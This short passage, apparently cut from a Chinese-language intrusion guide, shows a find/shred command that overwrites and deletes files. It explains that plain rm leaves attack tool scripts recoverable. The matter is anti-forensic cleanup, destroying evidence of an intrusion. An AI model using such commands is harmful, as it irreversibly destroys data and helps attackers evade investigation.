-exec shred -f -n 3 -z -u {} \;rm仅仅删除了文件索引，很容易被恢复发现到攻击工具脚本链接